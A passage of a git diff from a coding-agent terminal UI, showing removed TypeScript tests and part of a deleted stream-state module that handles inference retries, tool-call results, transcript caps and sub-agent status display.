path: "a.txt" } })); - state.addEvent(event("inference.done", { turn: { role: "assistant", content: [], model: "test-model", timestamp: 0 }, usage: {}, source: {} })); - state.addEvent(event("tool.done", { result: { callId: "call-1", content: "ok", isError: false } })); - - // Cycle 2's first attempt fails pre-commit: harness-style retry arrives - // before the cycle's inference.start. - state.addEvent(event("inference.retry", { attempt: 1, delayMs: 0, previousError: { category: "retryable", message: "5xx" } })); - state.addEvent(event("inference.start", { model: "test-model" })); - state.addEvent(event("inference.text.delta", { token: "second reply" })); - - const textBlocks = state.contentBlocks.filter((b) => b.type === "text"); - expect(textBlocks.map((b) => b.type === "text" && b.content)).toEqual(["settled reply", "second reply"]); - expect(state.contentBlocks.filter((b) => b.type === "tool_result" && b.callId === "call-1")).toHaveLength(1); - }); - - test("a cycle ended by inference.error does not leave the rollback boundary armed", () => { - // A cycle can terminate in inference.error with no inference.done (user - // abort, fatal, exhausted failover). The boundary must not stay armed - // across that terminal error: a later cycle's pre-commit harness retry - // would otherwise splice away the aborted partial, the rendered error - // block, and any user message pushed in between. - const state = createAgentStreamState(); - state.markRunning(); - state.addEvent(event("inference.start", { model: "test-model" })); - state.addEvent(event("inference.text.delta", { token: "aborted partial" })); - state.addEvent(event("inference.error", { error: { category: "aborted", message: "Esc" }, partial: { text: "aborted partial" } })); - - state.addEvent(event("message.received", { message: { content: "please continue" } })); - - // Cycle 2's first attempt fails pre-commit: harness retry before start. - state.addEvent(event("inference.retry", { attempt: 1, delayMs: 0, previousError: { category: "retryable", message: "5xx" } })); - state.addEvent(event("inference.start", { model: "test-model" })); - state.addEvent(event("inference.text.delta", { token: "second reply" })); - - const texts = state.contentBlocks.filter((b) => b.type === "text").map((b) => b.type === "text" && b.content); - expect(texts).toEqual(["aborted partial", "second reply"]); - expect(state.contentBlocks.filter((b) => b.type === "user")).toHaveLength(1); - }); - - test("an inference.retry immediately after a committed inference.error still rolls back", () => { - // The reactor's committed-retry path surfaces the failed attempt's - // inference.error and then its own inference.retry back to back; the - // rollback must still retract the failed attempt in that shape. - const state = createAgentStreamState(); - state.addEvent(event("inference.start", { model: "test-model" })); - state.addEvent(event("inference.text.delta", { token: "failed attempt" })); - state.addEvent(event("inference.error", { error: { category: "quota_exhausted", message: "429" }, partial: { text: "failed attempt" } })); - state.addEvent(event("inference.retry", { attempt: 1, delayMs: 1, previousError: { category: "quota_exhausted", message: "429" } })); - state.addEvent(event("inference.start", { model: "test-model" })); - state.addEvent(event("inference.text.delta", { token: "final reply" })); - - const texts = state.contentBlocks.filter((b) => b.type === "text").map((b) => b.type === "text" && b.content); - expect(texts).toEqual(["final reply"]); - }); - - test("a callId reused across cycles renders both results", () => { - // Index-based providers synthesize callIds unique only within a cycle - // ("0", "1", ...), so tool.done dedup must reset at each inference.start. - const state = createAgentStreamState(); - state.addEvent(event("inference.start", { model: "test-model" })); - state.addEvent(event("inference.tool_call.start", { callId: "1", name: "read_file" })); - state.addEvent(event("tool.done", { result: { callId: "1", content: "first cycle", isError: false } })); - - state.addEvent(event("inference.start", { model: "test-model" })); - state.addEvent(event("inference.tool_call.start", { callId: "1", name: "run_shell" })); - state.addEvent(event("tool.done", { result: { callId: "1", content: "second cycle", isError: false } })); - - const results = state.contentBlocks.filter((b) => b.type === "tool_result" && b.callId === "1"); - expect(results).toHaveLength(2); - }); - - test("latestUserMessageLogged is true after message.received and resets on clear", () => { - const state = createAgentStreamState(); - - expect(state.latestUserMessageLogged).toBe(true); - - state.clear(); - state.addEvent(event("message.received", { message: { content: "hello" } })); - - expect(state.latestUserMessage).toBe("hello"); - expect(state.latestUserMessageLogged).toBe(true); - - state.clear(); - expect(state.latestUserMessage).toBe(""); - expect(state.latestUserMessageLogged).toBe(true); - }); - - test("appendUserMessage shows input immediately and message.received does not duplicate the block", () => { - const state = createAgentStreamState(); - - state.appendUserMessage("hello world"); - expect(state.latestUserMessage).toBe("hello world"); - expect(state.latestUserMessageLogged).toBe(true); - expect(state.contentBlocks.filter((b) => b.type === "user")).toHaveLength(1); - expect(state.contentBlocks.at(-1)).toMatchObject({ type: "user", content: "hello world" }); - - // Simulates the event arriving after a delayed deliver (e.g. token refresh). - state.addEvent(event("message.received", { message: { content: "hello world" } })); - // Still exactly one user block; no duplicate. - expect(state.contentBlocks.filter((b) => b.type === "user")).toHaveLength(1); - - // A different message still appends. - state.addEvent(event("message.received", { message: { content: "second" } })); - expect(state.contentBlocks.filter((b) => b.type === "user")).toHaveLength(2); - expect(state.contentBlocks.at(-1)).toMatchObject({ type: "user", content: "second" }); - }); - - test("hookCount returns the number of hooks without allocating a snapshot", () => { - const state = createAgentStreamState([ - { id: "h1", name: "lint.ts", type: "typescript", path: "/hooks/lint.ts", enabled: true }, - { id: "h2", name: "fmt.sh", type: "shell", path: "/hooks/fmt.sh", enabled: false }, - ]); - - expect(state.hookCount).toBe(2); - }); - - test("hooks getter returns a cached snapshot across reads", () => { - const state = createAgentStreamState([ - { id: "h1", name: "lint.ts", type: "typescript", path: "/hooks/lint.ts", enabled: true }, - ]); - - const first = state.hooks; - const second = state.hooks; - // Same reference — not re-allocated on every access. - expect(first).toBe(second); - - state.addHookEvent({ type: "hook.updated", hook: { id: "h1", name: "lint.ts", type: "typescript", path: "/hooks/lint.ts", enabled: false, lastFiredAt: 123 } }); - const afterUpdate = state.hooks; - expect(afterUpdate).not.toBe(first); - expect(afterUpdate[0]?.enabled).toBe(false); - }); -}); - -describe("createTurnContextCollector", () => { - test("retains a bounded tail while preserving the total turn count", () => { - const collector = createTurnContextCollector(() => {}); - - for (let i = 0; i < RETAINED_TURN_CONTEXT_LIMIT + 5; i++) { - collector.observe(event("inference.done", { - turn: { - role: "assistant", - content: [{ type: "text", text: `turn ${i}` }], - model: "test", - timestamp: i, - }, - usage: { input: 1, output: 1, cacheRead: 0, cacheWrite: 0, thinking: 0 }, - source: { provider: "test", model: "test" }, - })); - } - - expect(collector.getTurnCount()).toBe(RETAINED_TURN_CONTEXT_LIMIT + 5); - expect(collector.getTurns()).toHaveLength(RETAINED_TURN_CONTEXT_LIMIT); - expect(collector.getTurns()[0]?.turnIndex).toBe(5); - }); -}); - -describe("turnsToContentBlocks", () => { - test("hydrates only the retained tail when a resume transcript is capped", () => { - const turns: ConversationTurn[] = Array.from({ length: 5 }, (_, i) => ({ - role: "user", - content: [{ type: "text", text: `message ${i}` }], - timestamp: i, - })); - - expect(turnsToContentBlocks(turns, { maxBlocks: 2 })).toEqual([ - { type: "user", content: "message 3" }, - { type: "user", content: "message 4" }, - ]); - }); - - test("a retryable inference error does not fail the run or finalize in-flight tool calls", () => { - const state = createAgentStreamState(); - state.markRunning(); - state.addEvent(event("inference.tool_call.start", { callId: "call-1", name: "run_shell" })); - state.addEvent(event("inference.tool_call.end", { callId: "call-1", name: "run_shell" })); - - state.addEvent(event("inference.error", { error: { category: "retryable", message: "transient" } })); - - expect(state.status).not.toBe("failed"); - // The in-flight call must stay resultless so a retry does not paint it as aborted. - expect(state.contentBlocks.some((b) => b.type === "tool_result")).toBe(false); - expect(state.contentBlocks.some((b) => b.type === "error")).toBe(false); - }); - - test("a timeout stays live and does not render a transient error", () => { - const state = createAgentStreamState(); - state.markRunning(); - - state.addEvent(event("inference.error", { error: { category: "timeout", message: "request timed out" } })); - - expect(state.status).not.toBe("failed"); - expect(state.contentBlocks.some((b) => b.type === "error")).toBe(false); - }); - - test("an internal abort stays live without rendering raw abort noise", () => { - const state = createAgentStreamState(); - state.markRunning(); - - state.addEvent(event("inference.error", { - error: { category: "aborted", message: "Aborted.", raw: { origin: INFERENCE_ABORT_INTERNAL_RECOVERY } }, - })); - - expect(state.status).not.toBe("failed"); - expect(state.contentBlocks.some((b) => b.type === "error")).toBe(false); - }); - - test("a user-stop aborted inference error terminates the run", () => { - const state = createAgentStreamState(); - state.markRunning(); - - state.addEvent(event("inference.error", { - error: { category: "aborted", message: "inference aborted", raw: { origin: "user-stop" } }, - })); - - expect(state.status).toBe("failed"); - }); - - test("a fatal reactor error fails the run and finalizes in-flight tool calls", () => { - const state = createAgentStreamState(); - state.markRunning(); - state.addEvent(event("inference.tool_call.start", { callId: "call-1", name: "run_shell" })); - state.addEvent(event("inference.tool_call.end", { callId: "call-1", name: "run_shell" })); - - state.addEvent(event("reactor.error", { fatal: true, error: "boom" })); - - expect(state.status).toBe("failed"); - const result = state.contentBlocks.find((b) => b.type === "tool_result"); - expect(result?.type === "tool_result" && result.isError).toBe(true); - }); - - test("collapses submit_plan and manage_tasks into plan and tasks blocks on resume", () => { - const turns: ConversationTurn[] = [{ - role: "assistant", - content: [ - { - type: "tool_call", - id: "plan-1", - name: "submit_plan", - arguments: { steps: [{ file: "src/a.ts", action: "edit" }] }, - }, - { type: "tool_result", callId: "plan-1", content: [{ type: "text", text: "ok" }], isError: false }, - { - type: "tool_call", - id: "tasks-1", - name: "manage_tasks", - arguments: { action: "create", tasks: [{ id: "t1", title: "Ship fix" }] }, - }, - { type: "tool_result", callId: "tasks-1", content: [{ type: "text", text: "ok" }], isError: false }, - ], - model: "test", - timestamp: 0, - }]; - - const blocks = turnsToContentBlocks(turns); - expect(blocks.some((b) => b.type === "tool_call" && b.name === "submit_plan")).toBe(false); - expect(blocks.some((b) => b.type === "tool_call" && b.name === "manage_tasks")).toBe(false); - const plan = blocks.find((b) => b.type === "plan"); - expect(plan?.type === "plan" && plan.steps).toEqual([{ file: "src/a.ts", action: "edit" }]); - const taskBlock = blocks.find((b) => b.type === "tasks"); - expect(taskBlock?.type === "tasks" && taskBlock.tasks).toEqual([ - { id: "t1", title: "Ship fix", status: "todo" }, - ]); - - const state = createAgentStreamState(); - state.hydrateHistory(blocks); - expect(state.tasks).toEqual([{ id: "t1", title: "Ship fix", status: "todo" }]); - }); - - test("caps stringified tool results and arguments from a resume transcript", () => { - const turns: ConversationTurn[] = [{ - role: "assistant", - content: [ - { type: "tool_call", id: "c1", name: "run_shell", arguments: { command: "a".repeat(MAX_STORED_TOOL_ARGUMENT_CHARS + 50_000) } }, - { type: "tool_result", callId: "c1", content: [{ type: "text", text: "b".repeat(MAX_STORED_TOOL_RESULT_CHARS + 50_000) }], isError: false }, - ], - model: "test", - timestamp: 0, - }]; - - const blocks = turnsToContentBlocks(turns); - const call = blocks.find((b) => b.type === "tool_call"); - expect(call?.type === "tool_call" && call.arguments.length).toBeLessThanOrEqual(MAX_STORED_TOOL_ARGUMENT_CHARS); - const result = blocks.find((b) => b.type === "tool_result"); - expect(result?.type === "tool_result" && result.content).toContain("characters omitted from stored tool output"); - }); -}); - -function StreamHarness({ emitter }: { emitter: EventEmitter }) { - const view = useAgentStream(emitter); - return createElement(Text, null, view.status); -} - -describe("useAgentStream drain timers", () => { - test("an idle session schedules no periodic drain timers", () => { - const setIntervalSpy = spyOn(global, "setInterval"); - const emitter = new EventEmitter(); - - const { unmount } = render(createElement(StreamHarness, { emitter })); - - expect(setIntervalSpy).not.toHaveBeenCalled(); - - unmount(); - setIntervalSpy.mockRestore(); - }); - - test("a token delta buffered right before stop is still flushed after the stopping transition", async () => { - const emitter = new EventEmitter(); - const viewRef: { current: AgentStreamView | null } = { current: null }; - const element = () => createElement(StreamRevisionHarness, { emitter, viewRef }); - - const { rerender, unmount } = render(element()); - - viewRef.current!.markRunning(); - rerender(element()); - - emitter.emit("event", event("inference.text.delta", { token: "hi" })); - - const revisionBeforeStop = viewRef.current!.displayRevision; - - viewRef.current!.requestStop(); - rerender(element()); - - await new Promise((resolve) => setTimeout(resolve, 250)); - rerender(element()); - - expect(viewRef.current!.displayRevision).toBeGreaterThan(revisionBeforeStop); - - unmount(); - }); -}); - -function StreamRevisionHarness({ - emitter, - viewRef, -}: { - emitter: EventEmitter; - viewRef: { current: AgentStreamView | null }; -}) { - const view = useAgentStream(emitter); - viewRef.current = view; - return createElement(Text, null, String(view.displayRevision)); -} diff --git a/src/tui/use-stream.ts b/src/tui/use-stream.ts deleted file mode 100644 index 51a2e55b4..000000000 --- a/src/tui/use-stream.ts +++ /dev/null @@ -1,1433 +0,0 @@ -import { useState, useEffect, useRef } from "react"; -import { useMemo } from "react"; -import type { EventEmitter } from "node:events"; -import type { ReactorEmittedEvent } from "@intx/inference"; -import { type } from "arktype"; -import { createFaremeter, formatCost } from "../cost/faremeter.js"; -import { lookupModelPricing } from "../cost/pricing-fetcher.js"; -import { getActivePricingCache } from "../cost/cost-visibility.js"; -import type { LifecycleHookEvent, LifecycleHookStatus } from "../session/hooks.js"; -import { validateView, type ViewNode } from "./view/index.js"; -import { parsePresentViewFromArgs } from "./tool-args.js"; -import { parseManageTasksArgs, applyManageTasks, type Task } from "../agent/tasks.js"; -import { isNonTerminalInferenceError } from "../inference-abort.js"; -import { - gatewayOverloadUserMessage, - isGatewayOverloadInferenceError, -} from "../inference-gateway-error.js"; - -// Provider-agnostic detection of context-window-overflow error text. The -// upstream classifier only tags a 400 with specific English phrases as -// context_overflow; providers that return a 429 or differently-worded body -// (e.g. z.ai) slip through mislabeled, so we re-check the message here. -function looksLikeContextOverflow(message: string): boolean { - const lower = message.toLowerCase(); - return ( - lower.includes("context_length_exceeded") || - lower.includes("context length") || - lower.includes("context window") || - lower.includes("maximum context") || - lower.includes("too many tokens") || - lower.includes("input is too long") || - lower.includes("exceeds the maximum") || - lower.includes("reduce the length") - ); -} - -// PlanStep is the type used by the plan gate modal (approval UI). -export type PlanStep = { - file: string; - action: string; - completed: boolean; - deviated: boolean; -}; - -// Raw step as stored in the "plan" content block from submit_plan args. -type PlanBlockStep = { file: string; action: string; reason?: string }; - -export type ContentBlockData = - | { type: "user"; content: string } - | { type: "thinking"; content: string } - | { type: "text"; content: string } - | { type: "tool_call"; callId?: string; name: string; arguments: string; startedAt?: number } - | { type: "tool_result"; callId: string; name: string; content: string; isError: boolean; finishedAt?: number } - | { type: "reply"; content: string } - | { type: "tasks"; tasks: Task[] } - | { type: "plan"; steps: PlanBlockStep[] } - | { type: "view"; node: ViewNode } - | { type: "error"; message: string }; - -export type ContentBlock = ContentBlockData & { id: string }; - -export type AgentStatus = "idle" | "running" | "done" | "failed" | "blocked" | "stopping" | "stopped"; - -export type AgentStreamState = { - contentBlocks: ContentBlock[]; - turnsUsed: number; - status: AgentStatus; - totalCost: number; - totalTokens: number; - inputTokens: number; - outputTokens: number; - cacheReadTokens: number; - contextTokens: number; - formattedCost: string; - latestUserMessage: string; - // Whether the latest user message is already visible as a block in the log, - // so the header can stop showing it. Tracked incrementally to avoid an O(n) - // block scan on every render. - latestUserMessageLogged: boolean; - hooks: LifecycleHookStatus[]; - // Cheap count accessor that avoids allocating the full hooks snapshot when - // only the count is needed. - hookCount: number; - tasks: Task[]; - subAgents: Task[]; - elapsedMs: number; - awaitingResponse: boolean; - // Use this (not status === "running") to decide whether to queue a new message. - isProcessing: boolean; - currentToolName: string | null; - streamingType: "text" | "thinking" | "tool" | null; - activityTick: number; - // Tracked in the store rather than mirrored into a ref via an effect, so it - // stays in sync with every event without an extra subscription. - lastActivityAt: number; - quotaError: { retryAfterMs: number; retryAt: number } | null; - inferenceRetry: { attempt: number; delayMs: number; retryAt: number } | null; - currentPlanStep: number | null; - planTotal: number | null; - planDeviated: boolean; - // Count of oldest blocks dropped from the display once the retention cap is - // exceeded. Non-zero means the rendered transcript is a tail, not the whole - // history; the UI surfaces this so the trim is never silent. - trimmedBlockCount: number; - addEvent(event: ReactorEmittedEvent): void; - hydrateHistory(blocks: ContentBlockData[]): void; - addHookEvent(event: LifecycleHookEvent): void; - // Live sub-agent tool activity from the runner's onProgress channel. Keeps - // the stall clock and status bar current without replaying the sub-agent - // transcript into the parent content blocks. - noteSubAgentProgress(info: { description: string; toolName: string }): void; - setGatePending(pending: boolean): void; - requestStop(): void; - markRunning(): void; - appendUserMessage(content: string): void; - clear(): void; -}; - -// Inference error categories the reactor recovers from on its own — a retry is -// coming or the user aborted — so they must not terminally fail the run or -// finalize its in-flight tool calls. - - -// This is display-only state; the agent context is retained separately. Keep the -// TUI tail bounded so long tool-heavy runs do not stall every streaming render. -const MAX_RETAINED_BLOCKS = 600; - -// Ingress caps keep a single block from forcing a full-history wrap on every frame. -export const MAX_STORED_TOOL_RESULT_CHARS = 48_000; -export const MAX_STORED_TOOL_ARGUMENT_CHARS = 24_000; -export const MAX_STORED_ASSISTANT_BLOCK_CHARS = 128_000; - -// Per-block caps bound one block, but 600 blocks each near their cap would still -// pin tens of megabytes. This total-content budget trims the oldest blocks until -// the retained tail fits, so memory plateaus regardless of block mix. Measured in -// characters, which track bytes closely enough for a display budget. -export const MAX_RETAINED_TRANSCRIPT_BYTES = 8_000_000; - -// Tool output pays off at the end (exit codes, error summaries, test totals), -// so the kept window anchors on the tail. Arguments and prose are head-anchored -// because the meaningful prefix (command path, opening sentences) comes first. -type CapAnchor = "head" | "tail"; - -function capWithOmissionSuffix( - content: string, - maxChars: number, - label: string, - anchor: CapAnchor = "head", -): string { - if (content.length <= maxChars) return content; - const omitted = content.length - maxChars; - const marker = `\n\n… ${omitted} characters omitted from ${label}`; - // The tail anchor also inserts a "\n\n" separator between the marker and the - // kept content, so its budget must reserve those two characters. Otherwise the - // result overshoots maxChars by 2, and a second cap on the already-capped - // string would slice through the first marker. - const separator = anchor === "tail" ? "\n\n" : ""; - const budget = maxChars - marker.length - separator.length; - const kept = anchor === "tail" ? content.slice(content.length - budget) : content.slice(0, budget); - return anchor === "tail" ? `${marker}${separator}${kept}` : `${kept}${marker}`; -} - -export function capStoredToolResultContent(content: string): string { - return capWithOmissionSuffix(content, MAX_STORED_TOOL_RESULT_CHARS, "stored tool output", "tail"); -} - -export function capStoredToolArguments(argumentsText: string): string { - return capWithOmissionSuffix(argumentsText, MAX_STORED_TOOL_ARGUMENT_CHARS, "stored tool arguments"); -} - -function capStoredAssistantContent(content: string): string { - return capWithOmissionSuffix(content, MAX_STORED_ASSISTANT_BLOCK_CHARS, "stored assistant text"); -} - -// A resumed transcript arrives already stringified. The producer -// (turnsToContentBlocks) already caps tool_result and tool_call content, so -// re-capping them here would double-cap: the tail-anchored tool_result marker -// would be re-cut, corrupting the omission suffix. Assistant text and thinking -// are the only fields the producer leaves uncapped, so they are the only ones -// bounded on hydration. -function capResumedBlock(block: ContentBlockData): ContentBlockData { - switch (block.type) { - case "text": - case "thinking": - return { ...block, content: capStoredAssistantContent(block.content) }; - default: - return block; - } -} - -// Approximate retained size of a block for the total-content budget. Only the -// unbounded string fields matter; structural blocks (tasks, plan, view) are -// small and fixed, so they contribute nothing to the trimming decision. -function blockContentLength(block: ContentBlock): number { - switch (block.type) { - case "user": - case "thinking": - case "text": - case "reply": - return block.content.length; - case "tool_call": - return block.arguments.length; - case "tool_result": - return block.content.length; - case "error": - return block.message.length; - default: - return 0; - } -} - -const OMITTED_STREAMING_SUFFIX = "… additional streaming content omitted"; - -// Appends a fragment to a bounded buffer. The first frame that crosses the cap -// stitches in an omission marker; every subsequent frame short-circuits because -// the marker pushed content past the threshold, so the suffix appears once. -function appendBoundedInPlace(content: string, fragment: string, maxChars: number): string { - if (content.length >= maxChars) return content; - const room = maxChars - content.length; - if (fragment.length <= room) return content + fragment; - const head = content + fragment.slice(0, room); - return `${head}\n\n${OMITTED_STREAMING_SUFFIX}`; -} - -function stringifyToolContent(content: unknown): string { - if (typeof content === "string") return content; - if (content === undefined) return ""; - try { - return JSON.stringify(content, null, 2); - } catch { - return String(content); - } -} - -function stringifyToolArguments(args: unknown): string { - if (typeof args === "string") return args; - if (args === undefined) return ""; - try { - return JSON.stringify(args); - } catch { - return ""; - } -} - -// A sub-agent is a worker, so one without a named profile is still labeled — -// "worker" — so the activity row always reads like a named crew member rather -// than a bare task description. -const DEFAULT_AGENT_NAME = "worker"; - -function parseTaskToolTitle(rawArgs: string): string { - try { - const parsed = JSON.parse(rawArgs) as { description?: unknown; agent?: unknown }; - const description = typeof parsed.description === "string" ? parsed.description.trim() : ""; - const agent = typeof parsed.agent === "string" && parsed.agent.trim().length > 0 - ? parsed.agent.trim() - : DEFAULT_AGENT_NAME; - if (description.length === 0) return agent; - return `${agent}: ${description}`; - } catch { - return DEFAULT_AGENT_NAME; - } -} - -// Done sub-agents are never rendered (the agents strip only shows non-done -// entries), so drop them here rather than let the array grow for the whole -// session. This keeps subAgents bounded by concurrently active sub-agents. -function updateSubAgent(tasks: Task[], callId: string, patch: Omit): Task[] { - const next = tasks.filter((task) => task.id !== callId); - if (patch.status === "done" || patch.status === "cancelled") return next; - return [...next, { id: callId, ...patch }]; -} - -// Settle (or prune) a strip entry when a tool result lands. Prefer name === "task"; -// also match by callId so a lost callId→name map cannot leave a permanent "doing" -// ghost. Exported for regression tests that simulate map loss without poking -// createAgentStreamState internals. -export function settleSubAgentOnToolResult( - agents: readonly Task[], - callId: string, - toolName: string | undefined, - isError: boolean, - title: string, -): Task[] { - const name = toolName ?? callId; - if (name !== "task" && !agents.some((a) => a.id === callId)) return [...agents]; - return updateSubAgent([...agents], callId, { - title, - status: isError ? "cancelled" : "done", - }); -} - -// High-frequency streamed fragments buffer between display drains instead of -// re-concatenating the block on every fragment; every other event forces the -// buffer to flush so any handler that reads block content sees it settled. -const STREAM_DELTA_TYPES = new Set([ - "inference.text.delta", - "inference.thinking.delta", - "inference.tool_call.delta", -]); - -export function createAgentStreamState( - initialHooks: LifecycleHookStatus[] = [], - getModelId?: () => string, - initialContentBlocks: ContentBlockData[] = [], -): AgentStreamState { - // Price each turn at the active model's rate, resolved live so a mid-session - // provider/model switch is reflected without recreating the meter. - const makeFaremeter = () => - createFaremeter({ - resolvePricing: () => - getModelId === undefined ? null : lookupModelPricing(getActivePricingCache(), getModelId()), - }); - const contentBlocks: ContentBlock[] = []; - // Cached snapshot returned by the contentBlocks getter. Rebuilt lazily only - // when the internal array is mutated, so repeated reads within one render - // return the same reference and referential-equality memoization holds. - let contentBlocksSnapshot: ContentBlock[] = []; - let contentBlocksDirty = true; - // The display retains the whole conversation while the agent compacts its own - // turns, so a long-running session would grow the block array without bound — - // and every streaming render pays O(blocks) to snapshot, map, and diff it. - // Cap the retained tail so per-render cost and memory plateau; the dropped - // count feeds a trimmed-history marker. - let trimmedBlockCount = 0; - const trimOldestBlocks = (): void => { - let drop = Math.max(0, contentBlocks.length - MAX_RETAINED_BLOCKS); - let retainedBytes = 0; - for (let i = drop; i < contentBlocks.length; i++) { - retainedBytes += blockContentLength(contentBlocks[i]!); - } - // Keep dropping the oldest block until the retained tail fits the byte - // budget, but never drop the newest block — the live stream needs somewhere - // to append even when a single block exceeds the budget on its own. - while (retainedBytes > MAX_RETAINED_TRANSCRIPT_BYTES && drop < contentBlocks.length - 1) { - retainedBytes -= blockContentLength(contentBlocks[drop]!); - drop += 1; - } - if (drop > 0) { - contentBlocks.splice(0, drop); - trimmedBlockCount += drop; - contentBlocksDirty = true; - } - }; - // Monotonic per-state counter for stable block ids. Stable ids let the UI key - // expansion/selection state to a block rather than its array position, which - // shifts when plan/present handlers splice the array. - let blockSeq = 0; - const nextBlockId = (): string => `b${(blockSeq += 1)}`; - - const pushBlock = (block: ContentBlockData): void => { - contentBlocks.push({ ...block, id: nextBlockId() }); - contentBlocksDirty = true; - trimOldestBlocks(); - }; - const spliceBlocks = (start: number, deleteCount: number): void => { - contentBlocks.splice(start, deleteCount); - contentBlocksDirty = true; - }; - const unshiftBlock = (block: ContentBlockData): void => { - contentBlocks.unshift({ ...block, id: nextBlockId() }); - contentBlocksDirty = true; - }; - const setBlock = (index: number, block: ContentBlockData): void => { - contentBlocks[index] = { ...block, id: nextBlockId() }; - contentBlocksDirty = true; - }; - - // A turn can end (user abort, reactor/inference error) while a tool_call is - // still outstanding — no tool.done ever arrives. Its block would stay - // resultless, so the display keeps spinning a live braille clock on a tool - // that is no longer running. Synthesize an aborted tool_result for every - // resultless call so the row settles into a normal completed (error) state. - const finalizeOutstandingToolCalls = (): void => { - const resolved = new Set(); - for (const block of contentBlocks) { - if (block.type === "tool_result") resolved.add(block.callId); - } - // Snapshot the current calls before pushing — pushBlock mutates the array. - const outstanding = contentBlocks.filter( - (block): block is ContentBlock & { type: "tool_call" } => - block.type === "tool_call" && !resolved.has(block.callId ?? block.id), - ); - const outstandingIds = new Set(); - for (const call of outstanding) { - const callId = call.callId ?? call.id; - outstandingIds.add(callId); - resolved.add(callId); - pushBlock({ - type: "tool_result", - callId, - name: call.name, - content: "Aborted.", - isError: true, - finishedAt: Date.now(), - }); - } - // The Agents-strip fallback is keyed by tool callId. Drop matching entries - // so a stop/error cannot leave a ghost "doing" row while the session store - // (and Ctrl+E) correctly show nothing running. - if (outstandingIds.size > 0 && subAgents.length > 0) { - subAgents = subAgents.filter((a) => !outstandingIds.has(a.id)); - } - }; - - const ensureUserBlock = (fullContent: string): void => { - latestUserMessage = fullContent; - latestUserMessageLogged = true; - const last = contentBlocks[contentBlocks.length - 1]; - if (!last || last.type !== "user" || last.content !== fullContent) { - pushBlock({ type: "user", content: fullContent }); - } - }; - - const callIdToName = new Map(); - const callIdToArguments = new Map(); - const activeToolCallIds = new Set(); - const hooksById = new Map(); - // Cached snapshot of hooks — rebuilt lazily only when the underlying map is - // mutated, so repeated reads within one render return the same reference. - let hooksSnapshot: LifecycleHookStatus[] = []; - let hooksDirty = true; - let turnsUsed = 0; - let status: AgentStatus = "idle"; - let stopRequested = false; - // Distinguishes model-generated replies (accumulated via deltas — connector.reply - // would double the content) from director-generated replies (no deltas). - let hadTextDeltaSinceLastReply = false; - let awaitingResponse = false; - let isProcessing = false; - let latestUserMessage = ""; - // Whether the latestUserMessage is already represented by a user block in - // contentBlocks. Used by the header to avoid duplicating the message preview - // once the block has landed in the transcript (via appendUserMessage on submit - // or message.received). - let latestUserMessageLogged = true; - let tasks: Task[] = []; - let subAgents: Task[] = []; - let quotaError: { retryAfterMs: number; retryAt: number } | null = null; - let inferenceRetry: { attempt: number; delayMs: number; retryAt: number } | null = null; - let currentPlanStep: number | null = null; - let planTotal: number | null = null; - let planDeviated = false; - let currentToolName: string | null = null; - let streamingType: "text" | "thinking" | "tool" | null = null; - // Refcount of open gates. Status is "blocked" while this is > 0, so - // resolving one gate while another is still open does not prematurely - // flip status back to "running". - let gateCount = 0; - let cacheReadTokens = 0; - let contextTokens = 0; - let startedAt = Date.now(); - let finishedAt: number | null = null; - let openCallId: string | null = null; - // Boundary marking where the current inference attempt's blocks begin, - // and the tool call ids known before it started. inference.retry has two - // producers with opposite meanings, distinguished by ordering. The harness - // emits it for a pre-commit retry: the failed attempt's inference.start was - // still buffered and is discarded, so the event arrives before any - // inference.start for the cycle and there is nothing to retract. The - // reactor emits it after a committed attempt failed: inferenceRunner is - // about to restart from scratch and re-stream what the failed attempt - // already rendered, so the transcript must roll back to the attempt - // boundary. The boundary is therefore only armed between an - // inference.start and its cycle's inference.done (or a rollback); a retry - // arriving disarmed is the harness kind and must not touch the previous - // cycle's settled blocks. - let attemptStartBlockIndex: number | null = null; - let attemptStartCallIds: Set = new Set(); - // A cycle can also terminate in inference.error with no inference.done - // (user abort, fatal, exhausted failover). The boundary must not stay - // armed across that terminal error — a later cycle's pre-commit harness - // retry would splice away the aborted partial and anything rendered since, - // including user messages. But the reactor's committed-retry path emits - // its inference.retry immediately after the failed attempt's - // inference.error, and that retry must still retract. So inference.error - // hands the armed boundary off here; only an immediately-following - // inference.retry consumes it, and any other event clears it. - let errorRollbackHandoff: { blockIndex: number; callIds: Set } | null = null; - // Tool call ids that already produced a tool_result block in the current - // cycle. Index-based providers synthesize callIds that are only unique - // within one cycle (e.g. "0", "1"), so deduping re-emitted tool.done - // events must be scoped to the cycle, not the whole transcript. - let resolvedCallIds = new Set(); - // Streamed fragments accumulate here between drains and join once on flush, - // so a burst of N fragments costs O(N) buffering plus one join rather than N - // growing concatenations. The target is the block (and field) currently being - // streamed into; switching targets flushes the previous one first. - let pendingBlock: ContentBlock | null = null; - let pendingField: "content" | "arguments" | null = null; - let pendingFragments: string[] = []; - let pendingMaxChars = 0; - const flushPending = (): void => { - if (pendingBlock === null || pendingFragments.length === 0) return; - const joined = pendingFragments.join(""); - pendingFragments = []; - if (pendingField === "arguments" && pendingBlock.type === "tool_call") { - pendingBlock.arguments = appendBoundedInPlace(pendingBlock.arguments, joined, pendingMaxChars); - // The block is the sole accumulator; mirror the settled value into the - // callId map so a tool.done that arrives without a tool_call.end still - // resolves the arguments it needs. - if (pendingBlock.callId !== undefined) callIdToArguments.set(pendingBlock.callId, pendingBlock.arguments); - } else if (pendingField === "content" && "content" in pendingBlock) { - pendingBlock.content = appendBoundedInPlace(pendingBlock.content, joined, pendingMaxChars); - } - // Deliberately not marking contentBlocksDirty: this mutates the field of a - // block object already reachable through the last-taken snapshot array (same - // reference, not a new one), so that snapshot already reflects the new - // content without a rebuild. Marking dirty here would force the - // contentBlocks getter to re-copy the whole array on every streamed token, - // making steady-state streaming cost grow with transcript length instead of - // staying O(1). - }; - const bufferFragment = ( - block: ContentBlock, - field: "content" | "arguments", - maxChars: number, - fragment: string, - ): void => { - if (pendingBlock !== block || pendingField !== field) { - flushPending(); - pendingBlock = block; - pendingField = field; - pendingMaxChars = maxChars; - } - pendingFragments.push(fragment); - // See the note in flushPending: buffering a fragment does not change the - // shape of contentBlocks, only a field on an object already in the last - // snapshot, so this must not force a full-array re-copy either. - }; - let activityTick = 0; - let lastActivityAt = Date.now(); - // Bump on every streamed token: advances the render tick and resets the - // stall clock in one place so the two never drift. - const markActivity = (): void => { - activityTick += 1; - lastActivityAt = Date.now(); - }; - // Footer spinner flags (isProcessing / streamingType) normally clear on - // connector.reply or requestStop(); terminal stream paths must settle too. - const settleProcessingChrome = (): void => { - isProcessing = false; - currentToolName = null; - streamingType = null; - }; - let faremeter = makeFaremeter(); - for (const hook of initialHooks) { - 